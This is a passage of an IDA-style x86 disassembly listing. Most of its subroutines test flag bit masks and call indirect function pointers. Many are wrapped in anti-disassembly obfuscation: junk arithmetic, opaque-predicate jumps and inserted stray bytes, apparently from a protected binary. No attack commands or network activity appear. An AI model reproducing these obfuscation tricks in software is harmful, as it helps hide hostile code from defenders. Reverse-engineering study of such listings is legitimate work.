mov eax, [ebp+arg_0]
or eax, edx
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_494E72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494ED4 proc near ; CODE XREF: sub_490FD0+29p
; sub_490FD0+6Cp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, 1
mov ecx, [ebp+arg_4]
shl eax, cl
sub eax, 1
mov ecx, [ebp+arg_8]
shl eax, cl
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
not ecx
mov edx, [ebp+arg_0]
and edx, ecx
mov [ebp+var_4], edx
mov eax, 1
mov ecx, [ebp+arg_8]
shl eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
lea ecx, [edx+ecx-1]
mov eax, 1
shl eax, cl
mov [ebp+var_14], eax
mov [ebp+var_8], 0
jmp short loc_494F2F
; ---------------------------------------------------------------------------
loc_494F26: ; CODE XREF: sub_494ED4+86j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_494F2F: ; CODE XREF: sub_494ED4+50j
mov edx, [ebp+var_8]
cmp edx, [ebp+arg_4]
jge short loc_494F5C
mov eax, [ebp+arg_0]
and eax, [ebp+var_C]
test eax, eax
jz short loc_494F4A
mov ecx, [ebp+var_4]
or ecx, [ebp+var_14]
mov [ebp+var_4], ecx
loc_494F4A: ; CODE XREF: sub_494ED4+6Bj
mov edx, [ebp+var_C]
shl edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
shr eax, 1
mov [ebp+var_14], eax
jmp short loc_494F26
; ---------------------------------------------------------------------------
loc_494F5C: ; CODE XREF: sub_494ED4+61j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_494ED4 endp
; ---------------------------------------------------------------------------
align 10h
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_17. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 41h
neg eax
sbb eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 1
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
and eax, 40h
test eax, eax
jnz short loc_494FCC
mov ecx, [ebp+8]
and ecx, 80h
neg ecx
sbb ecx, ecx
inc ecx
mov edx, [ebp+8]
and edx, 800h
neg edx
sbb edx, edx
inc edx
cmp ecx, edx
jnz short loc_494FCC
mov dword ptr [ebp-4], 1
jmp short loc_494FD3
; ---------------------------------------------------------------------------
loc_494FCC: ; CODE XREF: .text:00494FA1j
; .text:00494FC1j
mov dword ptr [ebp-4], 0
loc_494FD3: ; CODE XREF: .text:00494FCAj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 80h
neg eax
sbb eax, eax
inc eax
mov ecx, [ebp+8]
and ecx, 800h
neg ecx
sbb ecx, ecx
inc ecx
xor edx, edx
cmp eax, ecx
setnz dl
mov eax, edx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 800h
neg eax
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 4
neg eax
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 80h
neg eax
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 40h
neg eax
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 41h
neg eax
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 1
neg eax
sbb eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
and eax, 40h
test eax, eax
jnz short loc_4950A3
mov ecx, [ebp+8]
and ecx, 80h
neg ecx
sbb ecx, ecx
inc ecx
mov edx, [ebp+8]
and edx, 800h
neg edx
sbb edx, edx
inc edx
cmp ecx, edx
jnz short loc_4950A3
mov dword ptr [ebp-4], 0
jmp short loc_4950AA
; ---------------------------------------------------------------------------
loc_4950A3: ; CODE XREF: .text:00495078j
; .text:00495098j
mov dword ptr [ebp-4], 1
loc_4950AA: ; CODE XREF: .text:004950A1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 80h
neg eax
sbb eax, eax
inc eax
mov ecx, [ebp+8]
and ecx, 800h
neg ecx
sbb ecx, ecx
inc ecx
xor edx, edx
cmp eax, ecx
setz dl
mov eax, edx
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 800h
neg eax
sbb eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 4
neg eax
sbb eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 80h
neg eax
sbb eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 40h
neg eax
sbb eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
xor eax, eax
cmp dword ptr [ebp+0Ch], 0
setz al
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49512C proc near ; DATA XREF: sub_4965D8+11E5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 3
inc cl
inc cl
inc cl
add ecx, 0Ah
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4951C6
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4951C6: ; CODE XREF: sub_49512C+8Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49512C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4951DA proc near ; DATA XREF: sub_4965D8+1174o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
dec dh
dec dh
and ah, dh
mov dl, 0Eh
sub dl, 0FFh
jo short loc_49520D
jl short loc_49520B
loc_495208: ; CODE XREF: sub_4951DA:loc_49520Bj
; sub_4951DA:loc_49520Dj
jmp short loc_49520F
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49520B: ; CODE XREF: sub_4951DA+2Cj
jz short loc_495208
loc_49520D: ; CODE XREF: sub_4951DA+2Aj
jmp short loc_495208
; ---------------------------------------------------------------------------
loc_49520F: ; CODE XREF: sub_4951DA:loc_495208j
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
inc dl
and al, dl
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49525B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49525B: ; CODE XREF: sub_4951DA+76j
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4951DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49526F proc near ; DATA XREF: sub_4965D8+FCo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0C00h
pop ebx
jo short loc_4952A5
jl short loc_4952A3
loc_49529E: ; CODE XREF: sub_49526F:loc_4952A3j
; sub_49526F:loc_4952A5j
jmp short loc_4952A7
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4952A3: ; CODE XREF: sub_49526F+2Dj
jz short loc_49529E
loc_4952A5: ; CODE XREF: sub_49526F+2Bj
jmp short loc_49529E
; ---------------------------------------------------------------------------
loc_4952A7: ; CODE XREF: sub_49526F:loc_49529Ej
dec bh
dec bh
dec bh
dec bh
dec bh
push eax
dec bh
dec bh
and eax, 41h
dec bh
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 25h
dec dl
sub dl, 3
dec dl
sub dl, 17h
dec dl
dec dl
dec dl
dec dl
dec dl
jo short loc_4952E7
jl short loc_4952E5
loc_4952E0: ; CODE XREF: sub_49526F:loc_4952E5j
; sub_49526F:loc_4952E7j
jmp short loc_4952E9
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4952E5: ; CODE XREF: sub_49526F+6Fj
jz short loc_4952E0
loc_4952E7: ; CODE XREF: sub_49526F+6Dj
jmp short loc_4952E0
; ---------------------------------------------------------------------------
loc_4952E9: ; CODE XREF: sub_49526F:loc_4952E0j
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495315
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495315: ; CODE XREF: sub_49526F+9Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49526F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495329 proc near ; DATA XREF: sub_4965D8+13D8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1F00h
pop ebx
jo short loc_49535F
jl short loc_49535D
loc_495358: ; CODE XREF: sub_495329:loc_49535Dj
; sub_495329:loc_49535Fj
jmp short loc_495361
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49535D: ; CODE XREF: sub_495329+2Dj
jz short loc_495358
loc_49535F: ; CODE XREF: sub_495329+2Bj
jmp short loc_495358
; ---------------------------------------------------------------------------
loc_495361: ; CODE XREF: sub_495329:loc_495358j
sub bh, 3
sub bh, 3
push eax
dec bh
dec bh
and eax, 80h
dec bh
sub bh, 10h
sub bh, 5
pop eax
dec bh
jo short loc_495387
jl short loc_495385
loc_495380: ; CODE XREF: sub_495329:loc_495385j
; sub_495329:loc_495387j
jmp short loc_495389
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_495385: ; CODE XREF: sub_495329+55j
jz short loc_495380
loc_495387: ; CODE XREF: sub_495329+53j
jmp short loc_495380
; ---------------------------------------------------------------------------
loc_495389: ; CODE XREF: sub_495329:loc_495380j
and ah, bh
mov edx, 16h
dec dl
sub dl, 3
dec dl
sub dl, 8
dec dl
dec dl
dec dl
dec dl
dec dl
jo short loc_4953AF
jl short loc_4953AD
loc_4953A8: ; CODE XREF: sub_495329:loc_4953ADj
; sub_495329:loc_4953AFj
jmp short loc_4953B1
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4953AD: ; CODE XREF: sub_495329+7Dj
jz short loc_4953A8
loc_4953AF: ; CODE XREF: sub_495329+7Bj
jmp short loc_4953A8
; ---------------------------------------------------------------------------
loc_4953B1: ; CODE XREF: sub_495329:loc_4953A8j
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3B4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4953DE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4953DE: ; CODE XREF: sub_495329+AAj
mov eax, [ebp+var_8]
push eax
call off_4F1D08
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495329 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4953F2 proc near ; DATA XREF: sub_4965D8+E9Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
jo short loc_49545A
jl short loc_495458
loc_495455: ; CODE XREF: sub_4953F2:loc_495458j
; sub_4953F2:loc_49545Aj
jmp short loc_49545C
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_495458: ; CODE XREF: sub_4953F2+61j
jz short loc_495455
loc_49545A: ; CODE XREF: sub_4953F2+5Fj
jmp short loc_495455
; ---------------------------------------------------------------------------
loc_49545C: ; CODE XREF: sub_4953F2:loc_495455j
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 41h
sub cl, 22h
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4954A9
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4954A9: ; CODE XREF: sub_4953F2+ACj
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4953F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4954BD proc near ; DATA XREF: sub_4965D8+921o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_4954E6
; ---------------------------------------------------------------------------
mov ebx, 4
loc_4954E6: ; CODE XREF: sub_4954BD+22j
mov ebx, 28h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 0Ah
inc ebx
add ebx, 7
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495533
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495533: ; CODE XREF: sub_4954BD+6Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4954BD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495547 proc near ; DATA XREF: sub_4965D8+8DDo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_495570
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_495570: ; CODE XREF: sub_495547+22j
mov ebx, 72h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4955B9
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4955B9: ; CODE XREF: sub_495547+67j
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495547 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4955CD proc near ; DATA XREF: sub_4965D8+CC3o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D88
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_4955F6
; ---------------------------------------------------------------------------
mov ebx, 4
loc_4955F6: ; CODE XREF: sub_4955CD+22j
mov ebx, 30h
dec esi
xor ebx, 41h
dec edi
add esi, 23h
add ebx, 2
not ebx
bswap eax
not ebx
add esi, 2
dec esi
dec esi
inc ebx
dec esi
inc ebx
dec esi
inc ebx
inc ebx
dec esi
inc ebx
dec esi
inc ebx
dec esi
inc ebx
inc ebx
dec esi
inc ebx
inc ebx
dec esi
dec ebx
dec esi
dec ebx
push ecx
dec esi
mov ecx, 4
add ebx, ecx
inc ebx
dec esi
pop ecx
dec esi
bswap eax
sub ebx, 10h
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
sub ebx, 1Ch
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
and eax, ebx
pop ebx
dec esi
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B8
xor ecx, dword_4ED3BC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49567B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49567B: ; CODE XREF: sub_4955CD+A3j
mov eax, [ebp+var_8]
push eax
call off_4F1D10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4955CD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49568F proc near ; DATA XREF: sub_4965D8+A31o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 2
dec bh
dec bh
mov edi, 80h
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 83h
dec edi
sub bl, 8
dec bl
dec edi
dec bl
dec edi
dec bl
dec bl
dec edi
dec bl
dec bl
dec edi
and edi, ebx
dec bl
sub bl, 7
dec edi
sub bl, 10h
dec edi
dec bl
dec edi
sub bl, 1Ch
not bx
bswap eax
dec edi
not bx
bswap eax
dec edi
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED408
xor ecx, dword_4ED40C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49572F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49572F: ; CODE XREF: sub_49568F+95j
mov eax, [ebp+var_8]
push eax
call off_4F1D60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49568F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495743 proc near ; DATA XREF: sub_4965D8+1284o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Ah
pop ebx
dec bl
dec bl
dec bl
add bl, 0FFh
add bl, 0FFh
dec bl
jo short loc_495784
jl short loc_495782
loc_49577D: ; CODE XREF: sub_495743:loc_495782j
; sub_495743:loc_495784j
jmp short loc_495786
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_495782: ; CODE XREF: sub_495743+38j
jz short loc_49577D
loc_495784: ; CODE XREF: sub_495743+36j
jmp short loc_49577D
; ---------------------------------------------------------------------------
loc_495786: ; CODE XREF: sub_495743:loc_49577Dj
add bl, 0FFh
add bl, 0FFh
add bl, 0FFh
add bl, 0FFh
and al, bl
jo short loc_49579D
jl short loc_49579B
loc_495798: ; CODE XREF: sub_495743:loc_49579Bj
; sub_495743:loc_49579Dj
jmp short loc_49579F
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49579B: ; CODE XREF: sub_495743+53j
jz short loc_495798
loc_49579D: ; CODE XREF: sub_495743+51j
jmp short loc_495798
; ---------------------------------------------------------------------------
loc_49579F: ; CODE XREF: sub_495743:loc_495798j
mov dh, 15h
and dl, 0
dec dh
sub dh, 6
dec dh
dec dh
dec dh
sub dh, 1
dec dh
dec dh
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_4957C6
not eax
add eax, 1
stc
jmp short loc_4957CC
; ---------------------------------------------------------------------------
loc_4957C6: ; CODE XREF: sub_495743+79j
not eax
add eax, 1
clc
loc_4957CC: ; CODE XREF: sub_495743+81j
sbb eax, eax
inc eax
dec eax
jo short loc_4957DB
jl short loc_4957D9
loc_4957D4: ; CODE XREF: sub_495743:loc_4957D9j
; sub_495743:loc_4957DBj
jmp short loc_4957DD
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4957D9: ; CODE XREF: sub_495743+8Fj
jz short loc_4957D4
loc_4957DB: ; CODE XREF: sub_495743+8Dj
jmp short loc_4957D4
; ---------------------------------------------------------------------------
loc_4957DD: ; CODE XREF: sub_495743:loc_4957D4j
inc eax
dec eax
jo short loc_4957EA
jl short loc_4957E8
loc_4957E3: ; CODE XREF: sub_495743:loc_4957E8j
; sub_495743:loc_4957EAj
jmp short loc_4957EC
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4957E8: ; CODE XREF: sub_495743+9Ej
jz short loc_4957E3
loc_4957EA: ; CODE XREF: sub_495743+9Cj
jmp short loc_4957E3
; ---------------------------------------------------------------------------
loc_4957EC: ; CODE XREF: sub_495743:loc_4957E3j
inc eax
dec eax
inc eax
dec eax
jo short loc_4957FB
jl short loc_4957F9
loc_4957F4: ; CODE XREF: sub_495743:loc_4957F9j
; sub_495743:loc_4957FBj
jmp short loc_4957FD
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4957F9: ; CODE XREF: sub_495743+AFj
jz short loc_4957F4
loc_4957FB: ; CODE XREF: sub_495743+ADj
jmp short loc_4957F4
; ---------------------------------------------------------------------------
loc_4957FD: ; CODE XREF: sub_495743:loc_4957F4j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495821
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495821: ; CODE XREF: sub_495743+D3j
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495743 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_495835 proc near ; DATA XREF: sub_4965D8+377o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D88
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49585A
jl short loc_495858
loc_495855: ; CODE XREF: sub_495835:loc_495858j
; sub_495835:loc_49585Aj
jmp short loc_49585C
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_495858: ; CODE XREF: sub_495835+1Ej
jz short loc_495855
loc_49585A: ; CODE XREF: sub_495835+1Cj
jmp short loc_495855
; ---------------------------------------------------------------------------
loc_49585C: ; CODE XREF: sub_495835:loc_495855j
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 10h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 5
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_4958AD
jl short loc_4958AB
loc_4958A8: ; CODE XREF: sub_495835:loc_4958ABj
; sub_495835:loc_4958ADj
jmp short loc_4958AF
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4958AB: ; CODE XREF: sub_495835+71j
jz short loc_4958A8
loc_4958AD: ; CODE XREF: sub_495835+6Fj
jmp short loc_4958A8
; ---------------------------------------------------------------------------
loc_4958AF: ; CODE XREF: sub_495835:loc_4958A8j
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B8
xor ecx, dword_4ED3BC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_495908
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_495908: ; CODE XREF: sub_495835+C8j
mov eax, [ebp+var_8]
push eax
call off_4F1D10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_495835 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49591C proc near ; DATA XREF: sub_4965D8+7E4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
